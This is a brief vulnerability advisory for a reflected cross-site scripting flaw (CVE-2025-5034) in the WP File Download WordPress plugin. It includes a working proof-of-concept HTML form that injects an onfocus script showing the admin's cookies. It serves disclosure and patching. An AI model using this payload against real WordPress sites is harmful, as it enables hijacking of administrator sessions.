WP File Download < 6.2.6 – Reflected XSS | CVE 2025-5034

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting

Proof of Concept

Make a logged in admin open a page with the code below

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php?juwpfisadmin=false&action=wpfd&task=search.display" method="POST"> 
        <input type="hidden" name="catid" value="0">
          <input type="hidden" name="show_pagination" value="1">
          <input type="hidden" name="paged" value="1">
          <input type="hidden" name="limit" value="15">
          <input type="hidden" name="theme_column" value="title%2Csize%2Cdate%20added%2Cdownloadeuq82%22%20onfocus%3Dalert(document.cookie)%20style%3Dposition%3Aabsolute%3Bwidth%3A100%25%3Bheight%3A100%25%3Btop%3A0%3Bleft%3A0%3B">
        <input type="submit" value="submit">
    </form>
  </body>
</html>